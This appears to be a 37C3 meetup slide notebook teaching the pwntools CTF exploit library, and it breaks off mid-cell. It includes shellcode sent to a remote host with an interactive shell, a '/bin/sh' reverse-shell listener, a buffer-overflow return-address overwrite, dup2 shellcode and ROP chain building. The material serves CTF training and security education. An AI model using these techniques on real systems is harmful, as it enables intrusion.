37C3.ipynb

{
 "cells": [
  {
   "cell_type": "markdown",
   "metadata": {
    "slideshow": {
     "slide_type": "slide"
    }
   },
   "source": [
    "![logo](./logo.png)\n",
    "\n",
    "# PWNing Meetup \\#2\n",
    "\n",
    "### \\#37C3\n",
    "\n",
    "Arusekk & Peace-Maker"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "slideshow": {
     "slide_type": "slide"
    }
   },
   "source": [
    "# What's pwntools?\n",
    "\n",
    "- CTF framework and exploit development library\n",
    "- make exploit writing as simple as possible\n",
    "- https://pwntools.com & https://docs.pwntools.com\n",
    "- grown from collection of tools by pwnies.dk and Samurai in 2012"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "slideshow": {
     "slide_type": "fragment"
    }
   },
   "source": [
    "```python\n",
    "from pwn import *\n",
    "\n",
    "context(arch = 'i386', os = 'linux')\n",
    "\n",
    "r = remote('exploitme.example.com', 31337)\n",
    "# EXPLOIT CODE GOES HERE\n",
    "r.send(asm(shellcraft.sh()))\n",
    "r.interactive()\n",
    "```"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "slideshow": {
     "slide_type": "subslide"
    }
   },
   "source": [
    "# Usage modes\n",
    "\n",
    "|pwn|pwnlib|\n",
    "|----|----|\n",
    "| toolbox | library |\n",
    "| changes terminal settings | does nothing special |\n",
    "| parses special CLI arguments | |\n",
    "\n"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "slideshow": {
     "slide_type": "slide"
    }
   },
   "source": [
    "# Basics: Tubes\n",
    "\n",
    "- Write once, run against everything\n",
    "- Common interface for interacting with data\n",
    "\n",
    "- `process`, `remote`, `ssh`, `serialtube`"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 1,
   "metadata": {
    "slideshow": {
     "slide_type": "fragment"
    }
   },
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "[x] Starting local process '/usr/bin/echo'\n",
      "[+] Starting local process '/usr/bin/echo': pid 17261\n",
      "[*] Process '/usr/bin/echo' stopped with exit code 0 (pid 17261)\n"
     ]
    },
    {
     "data": {
      "text/plain": [
       "b'hi\\n'"
      ]
     },
     "execution_count": 1,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "from pwn import *\n",
    "io = process(['echo', 'hi'])\n",
    "io.recvline()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 2,
   "metadata": {
    "slideshow": {
     "slide_type": "skip"
    }
   },
   "outputs": [],
   "source": [
    "context.timeout = 1"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "slideshow": {
     "slide_type": "subslide"
    }
   },
   "source": [
    "# Basics: Receiving"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 3,
   "metadata": {
    "slideshow": {
     "slide_type": "fragment"
    }
   },
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "[x] Starting local process '/usr/bin/ls'\n",
      "[+] Starting local process '/usr/bin/ls': pid 17262\n",
      "[*] Process '/usr/bin/ls' stopped with exit code 0 (pid 17262)\n"
     ]
    },
    {
     "data": {
      "text/plain": [
       "b'total 876\\n'"
      ]
     },
     "execution_count": 3,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "io = process(['ls', '-l', '/'])\n",
    "io.recvline()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 4,
   "metadata": {
    "slideshow": {
     "slide_type": "fragment"
    }
   },
   "outputs": [
    {
     "data": {
      "text/plain": [
       "b'drwxr-xr-x'"
      ]
     },
     "execution_count": 4,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "io.recvn(10)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 5,
   "metadata": {
    "slideshow": {
     "slide_type": "fragment"
    }
   },
   "outputs": [
    {
     "data": {
      "text/plain": [
       "b'   3 root  root    4096 Mar 14  2023 Docker\\nlrwxrwxrwx   1 root  root       7 Apr 23  2020 bin'"
      ]
     },
     "execution_count": 5,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "io.recvuntil(b'bin')"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 6,
   "metadata": {
    "slideshow": {
     "slide_type": "subslide"
    }
   },
   "outputs": [
    {
     "data": {
      "text/plain": [
       "b'2'"
      ]
     },
     "execution_count": 6,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "io.recvregex(br'\\s+([0-9]+)', capture=True).group(1)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 7,
   "metadata": {
    "slideshow": {
     "slide_type": "fragment"
    }
   },
   "outputs": [
    {
     "data": {
      "text/plain": [
       "' root  root    4096 Apr 23  2020 boot\\n'"
      ]
     },
     "execution_count": 7,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# io.recvline().decode()\n",
    "io.recvlineS()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 8,
   "metadata": {
    "slideshow": {
     "slide_type": "fragment"
    }
   },
   "outputs": [
    {
     "data": {
      "text/plain": [
       "b'drwx------   2 roo'"
      ]
     },
     "execution_count": 8,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "io.recvpred(lambda p: p.count(b'o') == 2)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 9,
   "metadata": {
    "slideshow": {
     "slide_type": "fragment"
    }
   },
   "outputs": [
    {
     "data": {
      "text/plain": [
       "'0x72202074'"
      ]
     },
     "execution_count": 9,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# unpack(io.recvn(context.bytes))\n",
    "hex(io.unpack())"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 10,
   "metadata": {
    "slideshow": {
     "slide_type": "fragment"
    }
   },
   "outputs": [
    {
     "data": {
      "text/plain": [
       "'0x3420202020746f6f'"
      ]
     },
     "execution_count": 10,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# u64(io.recvn(8))\n",
    "hex(io.u64())"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 11,
   "metadata": {
    "slideshow": {
     "slide_type": "fragment"
    }
   },
   "outputs": [
    {
     "data": {
      "text/plain": [
       "b'lrwxrwxrwx   1 root  root       7 Apr 23  2020 lib -> usr/lib'"
      ]
     },
     "execution_count": 11,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "io.recvline_startswith(b'lrwxrwxrwx')"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "slideshow": {
     "slide_type": "subslide"
    }
   },
   "source": [
    "# Basics: Sending"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 12,
   "metadata": {
    "slideshow": {
     "slide_type": "fragment"
    }
   },
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "[x] Starting local process '/usr/bin/cat'\n",
      "[+] Starting local process '/usr/bin/cat': pid 17263\n"
     ]
    },
    {
     "data": {
      "text/plain": [
       "b'CTF0'"
      ]
     },
     "execution_count": 12,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "io = process('cat')\n",
    "io.send(b'CTF0')\n",
    "io.recv()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {
    "slideshow": {
     "slide_type": "fragment"
    }
   },
   "outputs": [
    {
     "data": {
      "text/plain": [
       "b'thing\\n'"
      ]
     },
     "execution_count": 13,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "io.sendline(b'thing')\n",
    "io.recv()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 14,
   "metadata": {
    "slideshow": {
     "slide_type": "fragment"
    }
   },
   "outputs": [
    {
     "data": {
      "text/plain": [
       "b'thong\\r\\n'"
      ]
     },
     "execution_count": 14,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "io.newline = b'\\r\\n'\n",
    "io.sendline(b'thong')\n",
    "io.recv()"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "slideshow": {
     "slide_type": "subslide"
    }
   },
   "source": [
    "# Basics: Sending 🤩"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 15,
   "metadata": {
    "slideshow": {
     "slide_type": "fragment"
    }
   },
   "outputs": [
    {
     "data": {
      "text/plain": [
       "b'stuff serving as marker'"
      ]
     },
     "execution_count": 15,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "io.send(b'stuff serving as marker')\n",
    "# recvuntil + send\n",
    "io.sendafter(b'marker', b'behind marker') # sendlineafter"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 16,
   "metadata": {
    "slideshow": {
     "slide_type": "fragment"
    }
   },
   "outputs": [
    {
     "data": {
      "text/plain": [
       "b'behind markerecho back'"
      ]
     },
     "execution_count": 16,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# send + recvuntil\n",
    "io.sendthen(b'back', b'echo back all of this please') # sendlinethen"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 17,
   "metadata": {
    "slideshow": {
     "slide_type": "fragment"
    }
   },
   "outputs": [],
   "source": [
    "# io.send(p64(0xdeadf00dcafebabe))\n",
    "io.p64(0xdeadf00dcafebabe)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 18,
   "metadata": {
    "slideshow": {
     "slide_type": "fragment"
    }
   },
   "outputs": [],
   "source": [
    "# io.send(flat({4: b'hi'}))\n",
    "io.flat({4: b'hi'})"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "slideshow": {
     "slide_type": "subslide"
    }
   },
   "source": [
    "# Remote interaction\n",
    "## Connecting somewhere\n",
    "```python\n",
    "# TCP\n",
    "tcp4 = remote('127.0.0.1', 1337)\n",
    "\n",
    "# UDP\n",
    "udp4 = remote('127.0.0.1', 1337, typ='udp')\n",
    "\n",
    "# TLS\n",
    "tls4 = remote('google.com', 443, ssl=True)\n",
    "\n",
    "# IPv6\n",
    "tcp6 = remote('google.com', 80, fam='ipv6')\n",
    "```"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "slideshow": {
     "slide_type": "subslide"
    }
   },
   "source": [
    "# Remote interaction\n",
    "## Listen servers\n",
    "```python\n",
    "# Wait for single connection\n",
    "client = listen(1337).wait_for_connection()\n",
    "\n",
    "# Port forwarding\n",
    "listen(1337).wait_for_connection().connect_both(remote('google.com', 80))\n",
    "\n",
    "# Reverse shell\n",
    "listen(1337).spawn_process('/bin/sh')\n",
    "\n",
    "# Accept multiple connections\n",
    "s = server(1337)\n",
    "client = s.next_connection()\n",
    "\n",
    "# With a prompt\n",
    "cb = lambda io: io.sendline(b'Welcome!')\n",
    "s = server(1337, callback=cb)\n",
    "client = s.next_connection()\n",
    "```"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "slideshow": {
     "slide_type": "subslide"
    }
   },
   "source": [
    "# Custom transport layer\n",
    "\n",
    "- easy to implement own socket types on top of `tube`\n",
    "- implement `recv_raw` and `send_raw`"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 19,
   "metadata": {
    "slideshow": {
     "slide_type": "fragment"
    }
   },
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "b'lots of'\n",
      "b'hi\\n'\n"
     ]
    }
   ],
   "source": [
    "t = tube()\n",
    "t.recv_raw = lambda n: b'lots of data'\n",
    "t.send_raw = lambda d: print(f'{d!r}')\n",
    "\n",
    "print(t.recvuntil(b'of'))\n",
    "t.sendline(b'hi')"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "slideshow": {
     "slide_type": "slide"
    }
   },
   "source": [
    "# Random helpers"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 20,
   "metadata": {
    "slideshow": {
     "slide_type": "fragment"
    }
   },
   "outputs": [
    {
     "data": {
      "text/plain": [
       "b'AAAA'"
      ]
     },
     "execution_count": 20,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# Hex encode / decode\n",
    "unhex(enhex(b'AAAA')) # bytes.fromhex(b'AAAA'.hex())"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 21,
   "metadata": {
    "slideshow": {
     "slide_type": "fragment"
    }
   },
   "outputs": [
    {
     "data": {
      "text/plain": [
       "b'BBBB'"
      ]
     },
     "execution_count": 21,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# Base64 encode / decode\n",
    "b64d(b64e(b'BBBB')) # import base64; base64.b64decode(base64.encode(b'BBBB'))"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 22,
   "metadata": {
    "slideshow": {
     "slide_type": "fragment"
    }
   },
   "outputs": [
    {
     "data": {
      "text/plain": [
       "'%3f%74%68%69%6e%67%3d%61%73%64'"
      ]
     },
     "execution_count": 22,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# URL encoding\n",
    "urlencode('?thing=asd') # urldecode as well"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 23,
   "metadata": {
    "slideshow": {
     "slide_type": "fragment"
    }
   },
   "outputs": [
    {
     "data": {
      "text/plain": [
       "b'important'"
      ]
     },
     "execution_count": 23,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "write('./thing', b'important') # open('./thing', 'w').write(b'important')\n",
    "read('./thing')                # open('./thing', 'rb').read()"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "slideshow": {
     "slide_type": "subslide"
    }
   },
   "source": [
    "# Random helpers"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 24,
   "metadata": {
    "slideshow": {
     "slide_type": "fragment"
    }
   },
   "outputs": [
    {
     "data": {
      "text/plain": [
       "2"
      ]
     },
     "execution_count": 24,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# Evaluate python expression safely\n",
    "safeeval.expr('1 + 1')"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 25,
   "metadata": {
    "slideshow": {
     "slide_type": "fragment"
    }
   },
   "outputs": [
    {
     "data": {
      "text/plain": [
       "42"
      ]
     },
     "execution_count": 25,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# Evaluate python expression using defined variables\n",
    "safeeval.values('CTF + 20', {'CTF': 22})"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 26,
   "metadata": {
    "slideshow": {
     "slide_type": "fragment"
    }
   },
   "outputs": [
    {
     "data": {
      "text/plain": [
       "'xfpmtktypmghasyi'"
      ]
     },
     "execution_count": 26,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# Random string\n",
    "randoms(16)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 27,
   "metadata": {
    "slideshow": {
     "slide_type": "fragment"
    }
   },
   "outputs": [
    {
     "data": {
      "text/plain": [
       "b'\\x1c\\x1e\\x1c\\x19\\x1d\\x1d\\x1e\\x18'"
      ]
     },
     "execution_count": 27,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# XOR multiple things\n",
    "xor(b'ABCDABCD', 5, b'XYZ')"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "slideshow": {
     "slide_type": "slide"
    }
   },
   "source": [
    "# Context\n",
    "\n",
    "- thread-safe nesting context\n",
    "- controls default values of lots of modules\n",
    "\n",
    "adb, adb_host, adb_port, arch, aslr, binary, bits, buffer_size, bytes, cache_dir, cache_dir_base, cyclic_alphabet, cyclic_size, delete_corefiles, device, endian, gdbinit, kernel, log_console, log_file, log_level, newline, noptrace, os, proxy, quiet, randomize, rename_corefiles, signed, silent, terminal, timeout, verbose"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 28,
   "metadata": {
    "slideshow": {
     "slide_type": "fragment"
    }
   },
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "[*] '/mnt/c/Users/Jannik/Downloads/ctfs/pwntools_tips/chall'\n",
      "    Arch:     amd64-64-little\n",
      "    RELRO:    Partial RELRO\n",
      "    Stack:    No canary found\n",
      "    NX:       NX enabled\n",
      "    PIE:      No PIE (0x400000)\n",
      "    SHSTK:    Enabled\n",
      "    IBT:      Enabled\n"
     ]
    }
   ],
   "source": [
    "context.arch = 'amd64'\n",
    "context.log_level = 'error'\n",
    "context.update(arch='amd64', os='linux')\n",
    "    \n",
    "# Infer from binary\n",
    "context.clear()\n",
    "context.binary = './chall'\n",
    "\n",
    "with context.quiet:\n",
    "    log.info('hi')\n",
    "with context.local(log_level='info'):\n",
    "    log.debug('ho')"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "slideshow": {
     "slide_type": "subslide"
    }
   },
   "source": [
    "# Context\n",
    "- most API accept context settings through kwargs"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 29,
   "metadata": {
    "slideshow": {
     "slide_type": "fragment"
    }
   },
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "linux\n",
      "windows\n",
      "linux\n"
     ]
    }
   ],
   "source": [
    "print(context.os)\n",
    "@LocalContext\n",
    "def myfunc():\n",
    "    print(context.os)\n",
    "myfunc(os='windows')\n",
    "print(context.os)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "slideshow": {
     "slide_type": "slide"
    }
   },
   "source": [
    "# Exploit template\n",
    "\n",
    "- Generate exploit boilerplate code\n",
    "- Switch between remote and local target\n",
    "    - `./doit.py`\n",
    "    - `./doit.py LOCAL`\n",
    "- Start a debug session\n",
    "    - `./doit.py LOCAL GDB`\n",
    "\n",
    "`pwn template --host the.c.tf --port 1337 ./chall > doit.py`\n",
    "\n",
    "- **new**: omit `./chall` for auto-detection\n",
    "\n",
    "`pwn template --host the.c.tf --port 1337 --libc libc.so.6 ./chall > doit.py`\n"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "slideshow": {
     "slide_type": "subslide"
    }
   },
   "source": [
    "# Running the exploit\n",
    "\n",
    "- Control `context` through arguments:\n",
    "    - `./doit.py NOASLR LOG_LEVEL=error`\n",
    "- Control `context` through environment variables:\n",
    "    - `PWNLIB_NOASLR=1 PWNLIB_LOG_LEVEL=error ./exploit.py`\n",
    "- Access uppercase arguments through `args`\n",
    "    - `./doit.py TEAM=ctf0` -> `args.TEAM == 'ctf0'`\n",
    "- Control logging\n",
    "    - `doit.py LOG_LEVEL=warn` -> `context.log_level = 'warn'`\n",
    "    - `doit.py DEBUG` -> `context.log_level = 'debug'`\n",
    "    - `doit.py SILENT` -> `context.log_level = 'error'`\n",
    "    - `doit.py STDERR` -> sends logging to stderr instead of stdout\n",
    "    - `doit.py LOG_FILE=./log.txt` -> write log to file\n",
    "- Run with local system libc\n",
    "    - `./doit.py LOCAL LOCAL_LIBC`"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "slideshow": {
     "slide_type": "slide"
    }
   },
   "source": [
    "# ELF"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 31,
   "metadata": {
    "slideshow": {
     "slide_type": "fragment"
    }
   },
   "outputs": [],
   "source": [
    "exe = ELF('./chall')"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 32,
   "metadata": {
    "slideshow": {
     "slide_type": "fragment"
    }
   },
   "outputs": [
    {
     "data": {
      "text/plain": [
       "'0x401210'"
      ]
     },
     "execution_count": 32,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "hex(exe.sym.main) # exe.symbols['main']"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 33,
   "metadata": {
    "slideshow": {
     "slide_type": "fragment"
    }
   },
   "outputs": [
    {
     "data": {
      "text/plain": [
       "'0x99001210'"
      ]
     },
     "execution_count": 33,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "exe.address = 0x99000000\n",
    "hex(exe.sym.main)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 34,
   "metadata": {
    "slideshow": {
     "slide_type": "fragment"
    }
   },
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "[x] Starting local process '/mnt/c/Users/Jannik/Downloads/ctfs/pwntools_tips/chall'\n",
      "[+] Starting local process '/mnt/c/Users/Jannik/Downloads/ctfs/pwntools_tips/chall': pid 17264\n",
      "[*] Stopped process '/mnt/c/Users/Jannik/Downloads/ctfs/pwntools_tips/chall' (pid 17264)\n"
     ]
    }
   ],
   "source": [
    "\n",
    "io = exe.process()\n",
    "io.close()"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "slideshow": {
     "slide_type": "subslide"
    }
   },
   "source": [
    "# ELF - Debugging\n",
    "\n",
    "```python\n",
    "# Start in debugger (using gdbserver)\n",
    "io = exe.debug() # gdb.debug(exe.path)\n",
    "\n",
    "# Attach to running process\n",
    "io = exe.process()\n",
    "gdb.attach(io)\n",
    "\n",
    "# Attach to local listening process\n",
    "io = remote('localhost', 1337)\n",
    "gdb.attach(io)\n",
    "\n",
    "# Interact with debugger\n",
    "with exe.debug(api=True) as io:\n",
    "    io.gdb.Breakpoint('puts', temporary=True)\n",
    "    io.gdb.continue_and_wait()\n",
    "\n",
    "    text_ptr = io.gdb.parse_and_eval('$rdi').cast(gdb.lookup_type('int'))\n",
    "    text = io.gdb.selected_inferior().read_memory(text_ptr, 20)\n",
    "\n",
    "    print(text)\n",
    "\n",
    "    io.gdb.quit()\n",
    "```"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "slideshow": {
     "slide_type": "subslide"
    }
   },
   "source": [
    "# ELF - coredumps\n",
    "\n",
    "```python\n",
    "exe = ELF('./chall')\n",
    "io = exe.process()\n",
    "\n",
    "# crash the process\n",
    "io.sendline(cyclic(256))\n",
    "# wait until the process terminated\n",
    "io.poll()\n",
    "\n",
    "# lookup core dump\n",
    "core = io.corefile\n",
    "\n",
    "# access value of rip in core file\n",
    "payload = flat({\n",
    "    cyclic_find(core.rip): exe.symbols.win\n",
    "})\n",
    "# core.fault_addr or core.signal available\n",
    "\n",
    "io = exe.process()\n",
    "io.sendline(payload)\n",
    "io.interactive()\n",
    "```"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "slideshow": {
     "slide_type": "subslide"
    }
   },
   "source": [
    "# ELF - libc"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 37,
   "metadata": {
    "slideshow": {
     "slide_type": "skip"
    }
   },
   "outputs": [],
   "source": [
    "context.clear()\n",
    "context.timeout = 1\n",
    "context.binary = './chall'"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "slideshow": {
     "slide_type": "fragment"
    }
   },
   "source": [
    "```python\n",
    "libc = exe.libc\n",
    "```\n",
    "\n",
    "```\n",
    "[*] '/usr/lib/x86_64-linux-gnu/libc-2.31.so'\n",
    "    Arch:     amd64-64-little\n",
    "    RELRO:    Partial RELRO\n",
    "    Stack:    Canary found\n",
    "    NX:       NX enabled\n",
    "    PIE:      PIE enabled\n",
    "    SHSTK:    Enabled\n",
    "    IBT:      Enabled\n",
    "```"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "slideshow": {
     "slide_type": "fragment"
    }
   },
   "source": [
    "```python\n",
    "# Find return address from `main`\n",
    "hex(libc.libc_start_main_return)\n",
    "```\n",
    "\n",
    "```\n",
    "0x24083\n",
    "```"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "slideshow": {
     "slide_type": "slide"
    }
   },
   "source": [
    "# LIBCDB\n",
    "\n",
    "- interface with https://libc.rip/ and https://gitlab.com/libcdb/libcdb\n",
    "- `libcdb` module as well as command line tool\n",
    "\n",
    "```\n",
    "$ libcdb file /lib/x86_64-linux-gnu/libc.so.6\n",
    "[*] libc.so.6\n",
    "    Version:     2.31\n",
    "    BuildID:     1878e6b475720c7c51969e69ab2d276fae6d1dee\n",
    "    MD5:         5898fac5d2680d0d8fefdadd632b7188\n",
    "    SHA1:        1430c57bf7ca6bd7f84a11c2cb7580fc39da07f5\n",
    "    SHA256:      80378c2017456829f32645e6a8f33b4c40c8efa87db7e8c931a229afa7bf6712\n",
    "    Symbols:\n",
    "        __libc_start_main_ret = 0x24083\n",
    "                         dup2 = 0x10e8c0\n",
    "                       printf = 0x61c90\n",
    "                         puts = 0x84420\n",
    "                         read = 0x10dfc0\n",
    "                   str_bin_sh = 0x1b45bd\n",
    "                       system = 0x52290\n",
    "                        write = 0x10e060\n",
    "```"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "slideshow": {
     "slide_type": "subslide"
    }
   },
   "source": [
    "# LIBCDB commandline\n",
    "\n",
    "- lookup by buildid\n",
    "    - `libcdb hash 1878e6b475720c7c51969e69ab2d276fae6d1dee`\n",
    "- lookup by id\n",
    "    - `libcdb hash -t id libc6_2.31-0ubuntu9.9_amd64`\n",
    "- lookup by leaked offsets\n",
    "    - `libcdb lookup printf c90 system 0x52290`\n",
    "- download matching libc\n",
    "    - `libcdb hash -t id --download-libc libc6_2.31-0ubuntu9.9_amd64`\n",
    "- unstrip / add back debug symbols\n",
    "    - `libcdb file --unstrip libc.so.6`"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "slideshow": {
     "slide_type": "subslide"
    }
   },
   "source": [
    "# LIBCDB module\n",
    "\n",
    "```python\n",
    "# Download libc and return path to it\n",
    "libcdb.search_by_build_id('1878e6b475720c7c51969e69ab2d276fae6d1dee', unstrip=True)\n",
    "\n",
    "# Unstrip any binary in place\n",
    "libcdb.unstrip_libc('./libc.so.6')\n",
    "```\n",
    "\n",
    "## Lookup by leaked function offsets\n",
    "- with interactive prompt on multiple matches\n",
    "\n",
    "```python\n",
    "libc = ELF(libcdb.search_by_symbol_offsets({'puts': puts_leak, 'printf': printf_leak}))\n",
    "```"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "slideshow": {
     "slide_type": "slide"
    }
   },
   "source": [
    "# Assembly / Disassembly\n",
    "\n",
    "- shortcut for binutils\n",
    "- cross-architecture\n",
    "- **shellcraft** - shellcode templates"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 38,
   "metadata": {
    "slideshow": {
     "slide_type": "fragment"
    }
   },
   "outputs": [
    {
     "data": {
      "text/plain": [
       "b'H\\xc7\\xc0\\x01\\x00\\x00\\x00\\x0f\\x05'"
      ]
     },
     "execution_count": 38,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "asm('mov rax, 1; syscall')"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 40,
   "metadata": {
    "slideshow": {
     "slide_type": "fragment"
    }
   },
   "outputs": [
    {
     "data": {
      "text/plain": [
       "b'hAAAA\\x8d|$\\x10'"
      ]
     },
     "execution_count": 40,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "asm('push 0x41414141; lea edi, [esp+0x10]', os='linux', arch='i386', bits='32')"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 47,
   "metadata": {
    "slideshow": {
     "slide_type": "fragment"
    }
   },
   "outputs": [
    {
     "data": {
      "text/plain": [
       "b'A\\x00@\\xf9'"
      ]
     },
     "execution_count": 47,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "asm('ldr x1, [x2]', arch='arm64')"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 49,
   "metadata": {
    "slideshow": {
     "slide_type": "fragment"
    }
   },
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "   0:   48 c7 c0 01 00 00 00    mov    rax, 0x1\n",
      "   7:   0f 05                   syscall\n"
     ]
    }
   ],
   "source": [
    "print(disasm(asm('mov rax, 1; syscall')))"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "slideshow": {
     "slide_type": "subslide"
    }
   },
   "source": [
    "# Shellcraft\n",
    "\n",
    "- (mostly) null-byte and newline free shellcode\n",
    "- generated dynamically for real values at runtime\n",
    "- uses mako template engine"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 54,
   "metadata": {
    "slideshow": {
     "slide_type": "fragment"
    }
   },
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "    /* dup() file descriptor rbp into stdin/stdout/stderr */\n",
      "    mov rdi, rbp\n",
      "    push 2\n",
      "    pop rsi\n",
      "loop_1:\n",
      "    /* dup2(fd='rdi', fd2='rsi') */\n",
      "    /* setregs noop */\n",
      "    /* call dup2() */\n",
      "    push SYS_dup2 /* 0x21 */\n",
      "    pop rax\n",
      "    syscall\n",
      "    dec rsi\n",
      "    jns loop_1\n",
      "\n"
     ]
    }
   ],
   "source": [
    "print(shellcraft.linux.dupio())"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "slideshow": {
     "slide_type": "slide"
    }
   },
   "source": [
    "# ROP\n",
    "\n",
    "- based on ROPgadget"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 41,
   "metadata": {
    "slideshow": {
     "slide_type": "fragment"
    }
   },
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "[*] Loading gadgets for '/mnt/c/Users/Jannik/Downloads/ctfs/pwntools_tips/chall'\n",
      "0x0000:         0x4013a3 pop rdi; ret\n",
      "0x0008:              0x5\n",
      "0x0010:         0x4013a1 pop rsi; pop r15; ret\n",
      "0x0018:       0x41414141\n",
      "0x0020:           0xcafe\n"
     ]
    }
   ],
   "source": [
    "exe = ELF('./chall', checksec=False)\n",
    "rop = ROP(exe)\n",
    "\n",
    "# set registers\n",
    "rop.rdi = 5\n",
    "# multiple at once\n",
    "rop(rsi=0x41414141, r15=0xcafe)\n",
    "\n",
    "print(rop.dump())"
   ]
  },
  {
   "cell_type": "code",
